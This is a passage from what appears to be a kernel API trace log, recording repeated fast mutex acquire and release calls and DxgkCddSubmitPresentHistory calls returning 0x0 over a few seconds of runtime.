ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.660] DxgkCddSubmitPresentHistory () returned 0x0 [0151.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.660] DxgkCddSubmitPresentHistory () returned 0x0 [0151.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.660] DxgkCddSubmitPresentHistory () returned 0x0 [0151.673] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.673] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.673] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.673] DxgkCddSubmitPresentHistory () returned 0x0 [0151.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.688] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.688] DxgkCddSubmitPresentHistory () returned 0x0 [0151.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.704] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.704] DxgkCddSubmitPresentHistory () returned 0x0 [0151.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011afab0) [0151.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011afab0) [0151.737] DxgkCddSubmitPresentHistory () returned 0x0 [0151.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.737] DxgkCddSubmitPresentHistory () returned 0x0 [0151.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.793] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0151.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0151.793] DxgkCddSubmitPresentHistory () returned 0x0 [0151.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.793] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001306680) [0151.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.793] DxgkCddSubmitPresentHistory () returned 0x0 [0151.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.793] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.793] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.793] DxgkCddSubmitPresentHistory () returned 0x0 [0151.823] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.823] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.823] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.823] DxgkCddSubmitPresentHistory () returned 0x0 [0151.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.846] DxgkCddSubmitPresentHistory () returned 0x0 [0151.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.884] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.884] DxgkCddSubmitPresentHistory () returned 0x0 [0151.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.892] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.892] DxgkCddSubmitPresentHistory () returned 0x0 [0151.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.930] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.930] DxgkCddSubmitPresentHistory () returned 0x0 [0151.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.961] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.961] DxgkCddSubmitPresentHistory () returned 0x0 [0151.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0151.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.972] DxgkCddSubmitPresentHistory () returned 0x0 [0152.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.013] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.013] DxgkCddSubmitPresentHistory () returned 0x0 [0152.044] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.044] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.044] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.044] DxgkCddSubmitPresentHistory () returned 0x0 [0152.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.060] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.060] DxgkCddSubmitPresentHistory () returned 0x0 [0152.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.076] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.076] DxgkCddSubmitPresentHistory () returned 0x0 [0152.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.108] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.108] DxgkCddSubmitPresentHistory () returned 0x0 [0152.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.140] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.140] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.140] DxgkCddSubmitPresentHistory () returned 0x0 [0152.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.172] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.172] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.172] DxgkCddSubmitPresentHistory () returned 0x0 [0152.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.204] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.204] DxgkCddSubmitPresentHistory () returned 0x0 [0152.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.236] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.236] DxgkCddSubmitPresentHistory () returned 0x0 [0152.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0152.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.268] DxgkCddSubmitPresentHistory () returned 0x0 [0153.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.223] DxgkCddSubmitPresentHistory () returned 0x0 [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.223] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0153.223] DxgkCddSubmitPresentHistory () returned 0x0 [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.223] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.223] DxgkCddSubmitPresentHistory () returned 0x0 [0153.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.239] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.240] DxgkCddSubmitPresentHistory () returned 0x0 [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.256] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.256] DxgkCddSubmitPresentHistory () returned 0x0 [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.256] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.256] DxgkCddSubmitPresentHistory () returned 0x0 [0153.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.288] DxgkCddSubmitPresentHistory () returned 0x0 [0153.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.304] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.304] DxgkCddSubmitPresentHistory () returned 0x0 [0153.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.304] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.304] DxgkCddSubmitPresentHistory () returned 0x0 [0153.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.320] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.320] DxgkCddSubmitPresentHistory () returned 0x0 [0153.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.352] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.352] DxgkCddSubmitPresentHistory () returned 0x0 [0153.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.386] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.386] DxgkCddSubmitPresentHistory () returned 0x0 [0153.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.386] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.386] DxgkCddSubmitPresentHistory () returned 0x0 [0153.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.471] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.471] DxgkCddSubmitPresentHistory () returned 0x0 [0153.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.515] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.515] DxgkCddSubmitPresentHistory () returned 0x0 [0153.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.561] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.561] DxgkCddSubmitPresentHistory () returned 0x0 [0153.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144cc80) [0153.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.565] DxgkCddSubmitPresentHistory () returned 0x0 [0153.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.601] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0153.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.601] DxgkCddSubmitPresentHistory () returned 0x0 [0153.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.601] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144cc80) [0153.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.601] DxgkCddSubmitPresentHistory () returned 0x0 [0153.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.601] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.601] DxgkCddSubmitPresentHistory () returned 0x0 [0153.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.617] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.617] DxgkCddSubmitPresentHistory () returned 0x0 [0153.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.674] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.674] DxgkCddSubmitPresentHistory () returned 0x0 [0153.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.705] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.705] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.705] DxgkCddSubmitPresentHistory () returned 0x0 [0153.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.736] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.736] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.736] DxgkCddSubmitPresentHistory () returned 0x0 [0153.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.750] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.750] DxgkCddSubmitPresentHistory () returned 0x0 [0153.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.766] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144cc80) [0153.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.766] DxgkCddSubmitPresentHistory () returned 0x0 [0153.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.766] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.766] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.766] DxgkCddSubmitPresentHistory () returned 0x0 [0153.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.798] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.798] DxgkCddSubmitPresentHistory () returned 0x0 [0153.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.812] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.813] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.813] DxgkCddSubmitPresentHistory () returned 0x0 [0153.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144cc80) [0153.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.846] DxgkCddSubmitPresentHistory () returned 0x0 [0153.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.846] DxgkCddSubmitPresentHistory () returned 0x0 [0153.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.875] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.875] DxgkCddSubmitPresentHistory () returned 0x0 [0153.891] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.891] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144cc80) [0153.891] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.891] DxgkCddSubmitPresentHistory () returned 0x0 [0153.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.922] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.922] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.922] DxgkCddSubmitPresentHistory () returned 0x0 [0153.937] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.938] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.938] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.938] DxgkCddSubmitPresentHistory () returned 0x0 [0153.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.969] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144cc80) [0153.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.969] DxgkCddSubmitPresentHistory () returned 0x0 [0153.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.969] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0153.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.969] DxgkCddSubmitPresentHistory () returned 0x0 [0154.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.007] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0154.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0154.007] DxgkCddSubmitPresentHistory () returned 0x0 [0154.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.007] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.007] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.007] DxgkCddSubmitPresentHistory () returned 0x0 [0154.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.020] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0154.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.020] DxgkCddSubmitPresentHistory () returned 0x0 [0154.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.020] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0154.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0154.020] DxgkCddSubmitPresentHistory () returned 0x0 [0154.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.039] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.039] DxgkCddSubmitPresentHistory () returned 0x0 [0154.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.039] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0154.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.039] DxgkCddSubmitPresentHistory () returned 0x0 [0154.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.065] DxgkCddSubmitPresentHistory () returned 0x0 [0154.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0154.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.065] DxgkCddSubmitPresentHistory () returned 0x0 [0154.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.099] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.099] DxgkCddSubmitPresentHistory () returned 0x0 [0154.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.125] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0154.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.125] DxgkCddSubmitPresentHistory () returned 0x0 [0154.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.125] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.125] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.125] DxgkCddSubmitPresentHistory () returned 0x0 [0154.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.174] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000104e190) [0154.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.174] DxgkCddSubmitPresentHistory () returned 0x0 [0154.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.174] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.174] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.174] DxgkCddSubmitPresentHistory () returned 0x0 [0154.187] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.187] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0154.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.188] DxgkCddSubmitPresentHistory () returned 0x0 [0154.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.203] ExEnterCriticalRegionAndAcquireFastMutexUnsafe 